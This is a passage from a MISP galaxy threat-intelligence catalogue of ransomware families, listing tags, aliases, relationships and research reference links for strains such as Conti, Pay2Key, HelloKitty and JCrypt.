The tag is: *misp-galaxy:ransomware="Ensiko"*

Django

ransomware

The tag is: *misp-galaxy:ransomware="Django"*

RansomBlox

ransomware

The tag is: *misp-galaxy:ransomware="RansomBlox"*

BitRansomware

ransomware

The tag is: *misp-galaxy:ransomware="BitRansomware"*

Table 13630. Table References

Links
https://www.ransomlook.io/group/bitransomware
https://blogs.vmware.com/security/2020/12/phorpiex-powered-bitransomware-targets-apac-universities.html

AESMew

ransomware

The tag is: *misp-galaxy:ransomware="AESMew"*

DeathOfShadow

ransomware

The tag is: *misp-galaxy:ransomware="DeathOfShadow"*

XMRLocker

ransomware

The tag is: *misp-galaxy:ransomware="XMRLocker"*

WinWord64

ransomware

The tag is: *misp-galaxy:ransomware="WinWord64"*

ThunderX

ransomware

The tag is: *misp-galaxy:ransomware="ThunderX"*

Mountlocket

ransomware

The tag is: *misp-galaxy:ransomware="Mountlocket"*

View relationships graph

Mountlocket has relationships with:

- similar: misp-galaxy:ransomware="QuantumLocker" with estimative-language:likelihood-probability="likely"

Table 13631. Table References

Links
https://howtofix.guide/ransom-mountlocket/

Gladius

ransomware

The tag is: *misp-galaxy:ransomware="Gladius"*

Cyrat

ransomware

The tag is: *misp-galaxy:ransomware="Cyrat"*

Crypt32

ransomware

The tag is: *misp-galaxy:ransomware="Crypt32"*

BizHack

ransomware

The tag is: *misp-galaxy:ransomware="BizHack"*

Geneve

ransomware

The tag is: *misp-galaxy:ransomware="Geneve"*

Z3

ransomware

The tag is: *misp-galaxy:ransomware="Z3"*

Leakthemall

ransomware

The tag is: *misp-galaxy:ransomware="Leakthemall"*

Conti

Conti ransomware is a RaaS and has been observed encrypting networks since mid-2020. Conti was developed by the “TrickBot” group, an organized Russian cybercriminal operation. Their reputation has allowed the group to create a strong brand name, attracting many affiliates which has made Conti one of the most widespread ransomware strains in the world. One of the last known “Conti” attacks was against the government of Costa Rica in April 2022 causing the country to declare a state of emergency. Shortly after this final attack, the “Conti” brand disappeared. The group behind it likely switched to a different brand to avoid sanctions and start over with a new, clean reputation.

The tag is: *misp-galaxy:ransomware="Conti"*

View relationships graph

Conti has relationships with:

- parent-of: misp-galaxy:ransomware="QuantumLocker" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:ransomware="BlackBasta" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:ransomware="BlackByte" with estimative-language:likelihood-probability="likely"

Table 13632. Table References

Links
https://www.cyber.gov.au/acsc/view-all-content/advisories/2021-010-acsc-ransomware-profile-conti
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines
https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442
https://unit42.paloaltonetworks.com/conti-ransomware-gang
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://securelist.com/new-ransomware-trends-in-2022/106457/

https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022

https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures

https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html

https://www.youtube.com/watch?v=cYx7sQRbjGA

http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/

https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed

https://arcticwolf.com/resources/blog/karakurt-web

https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf

https://assets.sentinelone.com/ransomware-enterprise/conti-ransomware-unpacked

https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html

https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti

https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware

https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles

https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html

https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html

https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger

https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/

https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html

https://cocomelonc.github.io/investigation/2022/04/11/malw-inv-conti-2.html

https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html

https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx

https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf

https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my

https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf

https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/

https://github.com/TheParmak/conti-leaks-englished

https://github.com/cdong1012/ContiUnpacker

https://github.com/whichbuffer/Conti-Ransomware-IOC

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://intel471.com/blog/conti-leaks-cybercrime-fire-team

https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding

https://intel471.com/blog/shipping-companies-ransomware-credentials

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/

https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/

https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf

https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/

https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b

https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8

https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd

https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/

https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/

https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/

https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/

https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/

https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/

https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://redcanary.com/blog/intelligence-insights-november-2021/

https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/

https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/

https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf

https://securelist.com/luna-black-basta-ransomware/106950

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html

https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf

https://share.vx-underground.org/Conti/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://thedfirreport.com/2021/05/12/conti-ransomware/
https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/
https://thehackernews.com/2022/05/malware-analysis-trickbot.html
https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/
https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/
https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/
https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/
https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/
https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/
https://twitter.com/AltShiftPrtScn/status/1350755169965924352
https://twitter.com/AltShiftPrtScn/status/1417849181012647938
https://twitter.com/AltShiftPrtScn/status/1423188974298861571
https://twitter.com/TheDFIRReport/status/1498642512935800833
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://unit42.paloaltonetworks.com/conti-ransomware-gang/
https://us-cert.cisa.gov/ncas/alerts/aa21-265a
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations
https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent
https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir
https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape

https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups

https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement

https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573

https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/

https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/

https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/

https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/

https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/

https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/

https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/

https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/

https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/

https://www.bleepingcomputer.com/news/security/ryuk-successor-conti-ransomware-releases-data-leak-site/

https://www.bleepingcomputer.com/news/security/taiwanese-apple-and-tesla-contractor-hit-by-conti-ransomware/

https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf

https://www.connectwise.com/resources/conti-profile

https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://www.crowdstrike.com/blog/wizard-spider-adversary-update/

https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked

https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware

https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware

https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/

https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/

https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/

https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html

https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://www.ic3.gov/Media/News/2021/210521.pdf

https://www.ironnet.com/blog/ransomware-graphic-blog

https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf

https://www.mbsd.jp/research/20210413/conti-ransomware/

https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf

https://www.prevailion.com/what-wicked-webs-we-unweave/

https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf

https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf

https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia

https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships

https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one

https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/

https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://www.threatstop.com/blog/conti-ransomware-source-code-leaked

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf

https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti

https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti

https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider

https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1
https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2
https://www.youtube.com/watch?v=hmaWy9QIC7c
https://www.youtube.com/watch?v=uORuVVQzZ0A
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks
https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/
https://www.ransomlook.io/group/conti

Makop

ransomware

The tag is: *misp-galaxy:ransomware="Makop"*

Table 13633. Table References

Links
https://www.ransomlook.io/group/makop

Best Crypt

ransomware

The tag is: *misp-galaxy:ransomware="Best Crypt"*

Consciousness

ransomware

The tag is: *misp-galaxy:ransomware="Consciousness"*

Flamingo

ransomware

The tag is: *misp-galaxy:ransomware="Flamingo"*

PewPew

ransomware

The tag is: *misp-galaxy:ransomware="PewPew"*

DogeCrypt

ransomware

The tag is: *misp-galaxy:ransomware="DogeCrypt"*

Badbeeteam

ransomware

The tag is: *misp-galaxy:ransomware="Badbeeteam"*

Solve

ransomware

The tag is: *misp-galaxy:ransomware="Solve"*

RenameX12

ransomware

The tag is: *misp-galaxy:ransomware="RenameX12"*

Zhen

ransomware

The tag is: *misp-galaxy:ransomware="Zhen"*

Datacloud

ransomware

The tag is: *misp-galaxy:ransomware="Datacloud"*

Ironcat

ransomware

The tag is: *misp-galaxy:ransomware="Ironcat"*

Dusk

ransomware

The tag is: *misp-galaxy:ransomware="Dusk"*

Cutekitty

ransomware

The tag is: *misp-galaxy:ransomware="Cutekitty"*

Babax

ransomware

The tag is: *misp-galaxy:ransomware="Babax"*

Eyecry

ransomware

The tag is: *misp-galaxy:ransomware="Eyecry"*

Osno

ransomware

The tag is: *misp-galaxy:ransomware="Osno"*

Loki

ransomware

The tag is: *misp-galaxy:ransomware="Loki"*

WoodRat

ransomware

The tag is: *misp-galaxy:ransomware="WoodRat"*

Curator

ransomware

The tag is: *misp-galaxy:ransomware="Curator"*

32aa

ransomware

The tag is: *misp-galaxy:ransomware="32aa"*

Vaggen

ransomware

The tag is: *misp-galaxy:ransomware="Vaggen"*

Clay

ransomware

The tag is: *misp-galaxy:ransomware="Clay"*

Pizhon

ransomware

The tag is: *misp-galaxy:ransomware="Pizhon"*

InstallPay

ransomware

The tag is: *misp-galaxy:ransomware="InstallPay"*

MetadataBin

ransomware

The tag is: *misp-galaxy:ransomware="MetadataBin"*

TechandStrat

ransomware

The tag is: *misp-galaxy:ransomware="TechandStrat"*

Mars

ransomware

The tag is: *misp-galaxy:ransomware="Mars"*

Scatterbrain

ransomware

The tag is: *misp-galaxy:ransomware="Scatterbrain"*

CCECrypt

ransomware

The tag is: *misp-galaxy:ransomware="CCECrypt"*

SZ40

ransomware

The tag is: *misp-galaxy:ransomware="SZ40"*

Pay2Key

ransomware

The tag is: *misp-galaxy:ransomware="Pay2Key"*

Table 13634. Table References

Links
https://research.checkpoint.com/2020/ransomware-alert-pay2key
https://www.twitter.com/p2ktwtacc
https://keybase.io/pay2key
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://research.checkpoint.com/2020/ransomware-alert-pay2key/
https://twitter.com/TrendMicroRSRCH/status/1389422784808378370
https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/
https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.ransomlook.io/group/pay2key

Tripoli

ransomware

The tag is: *misp-galaxy:ransomware="Tripoli"*

Devos

ransomware

The tag is: *misp-galaxy:ransomware="Devos"*

HowAreYou

ransomware

The tag is: *misp-galaxy:ransomware="HowAreYou"*

SifreCikis

ransomware

The tag is: *misp-galaxy:ransomware="SifreCikis"*

Table 13635. Table References

Links
https://www.ransomlook.io/group/sifrecikis

68-Random-HEX

ransomware

The tag is: *misp-galaxy:ransomware="68-Random-HEX"*

RedRoman

ransomware

The tag is: *misp-galaxy:ransomware="RedRoman"*

MXX

ransomware

The tag is: *misp-galaxy:ransomware="MXX"*

Exerwa CTF

ransomware

The tag is: *misp-galaxy:ransomware="Exerwa CTF"*

HelloKitty

ransomware

The tag is: *misp-galaxy:ransomware="HelloKitty"*

HelloKitty is also known as:

- FiveHands

Table 13636. Table References

Links
https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/
https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html
https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html
https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/
https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7
https://twitter.com/fwosar/status/1359167108727332868

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/
https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/
https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://www.ic3.gov/Media/News/2021/211029.pdf
https://www.speartip.com/resources/fbi-hellokitty-ransomware-adds-ddos-to-extortion-arsenal/
https://www.ransomlook.io/group/hellokitty
https://www.ransomlook.io/group/fivehands
https://www.trendmicro.com/en_us/research/21/e/fivehands-ransomware.html
https://www.sentinelone.com/labs/fivehands-ransomware-replaces-hellokitty/
https://www.bleepingcomputer.com/news/security/fivehands-ransomware-uses-new-malware-to-steal-data-before-encrypting/
https://theravenfile.com/2025/04/10/hellokitty-resurfaced/

HolidayCheer

ransomware

The tag is: *misp-galaxy:ransomware="HolidayCheer"*

Joker Korean

ransomware

The tag is: *misp-galaxy:ransomware="Joker Korean"*

VenomRAT

ransomware

The tag is: *misp-galaxy:ransomware="VenomRAT"*

FileEngineering

ransomware

The tag is: *misp-galaxy:ransomware="FileEngineering"*

LandSlide

ransomware

The tag is: *misp-galaxy:ransomware="LandSlide"*

Mobef-JustFun

ransomware

The tag is: *misp-galaxy:ransomware="Mobef-JustFun"*

View relationships graph

Mobef-JustFun has relationships with:

- similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Amjixius

ransomware

The tag is: *misp-galaxy:ransomware="Amjixius"*

Amjixius is also known as:

- Ancrypted

Table 13637. Table References

Links
https://malware-guide.com/blog/remove-amjixius-ransomware-restore-encrypted-files

DearCry

ransomware

The tag is: *misp-galaxy:ransomware="DearCry"*

JoJoCrypter

ransomware

The tag is: *misp-galaxy:ransomware="JoJoCrypter"*

RunExeMemory

ransomware

The tag is: *misp-galaxy:ransomware="RunExeMemory"*

Pay2Decrypt

ransomware

The tag is: *misp-galaxy:ransomware="Pay2Decrypt"*

Tortoise

ransomware

The tag is: *misp-galaxy:ransomware="Tortoise"*

EPICALLY

ransomware

The tag is: *misp-galaxy:ransomware="EPICALLY"*

Random30

ransomware

The tag is: *misp-galaxy:ransomware="Random30"*

Hog

ransomware

The tag is: *misp-galaxy:ransomware="Hog"*

Steel

ransomware

The tag is: *misp-galaxy:ransomware="Steel"*

JohnBorn

ransomware

The tag is: *misp-galaxy:ransomware="JohnBorn"*

Egalyty

ransomware

The tag is: *misp-galaxy:ransomware="Egalyty"*

Namaste

ransomware

The tag is: *misp-galaxy:ransomware="Namaste"*

HDLocker

ransomware

The tag is: *misp-galaxy:ransomware="HDLocker"*

Epsilon

ransomware

The tag is: *misp-galaxy:ransomware="Epsilon"*

DeroHE

ransomware

The tag is: *misp-galaxy:ransomware="DeroHE"*

Vovalex

ransomware

The tag is: *misp-galaxy:ransomware="Vovalex"*

Bonsoir

ransomware

The tag is: *misp-galaxy:ransomware="Bonsoir"*

PulpFictionQuote

ransomware

The tag is: *misp-galaxy:ransomware="PulpFictionQuote"*

NAS Data Compromiser

ransomware

The tag is: *misp-galaxy:ransomware="NAS Data Compromiser"*

CNH

ransomware

The tag is: *misp-galaxy:ransomware="CNH"*

Lucy

ransomware

The tag is: *misp-galaxy:ransomware="Lucy"*

OCT

ransomware

The tag is: *misp-galaxy:ransomware="OCT"*

OCT is also known as:

- OctEncrypt

Pump

ransomware

The tag is: *misp-galaxy:ransomware="Pump"*

LuciferCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LuciferCrypt"*

Ziggy

ransomware

The tag is: *misp-galaxy:ransomware="Ziggy"*

CoderCrypt

ransomware

The tag is: *misp-galaxy:ransomware="CoderCrypt"*

BlueEagle

ransomware

The tag is: *misp-galaxy:ransomware="BlueEagle"*

Povisomware

ransomware

The tag is: *misp-galaxy:ransomware="Povisomware"*

JCrypt

Ransomware written in C#. Fortunately, all current versions of the MafiaWare666 ransomware are decryptable. The Threat Lab from Avast has developed a free decryption tool for this malware.

The tag is: *misp-galaxy:ransomware="JCrypt"*

JCrypt is also known as:

- RIP lmao
- Locked
- Daddycrypt
- Omero
- Crypted
- Ncovid
- NotStonks
- Iam_watching
- Vn_os
- Wearefriends
- MALWAREDEVELOPER

- MALKI
- Poison
- Foxxy
- Mafiaware666

Table 13638. Table References

Links
https://id-ransomware.blogspot.com/2020/12/jcrypt-ransomware.html
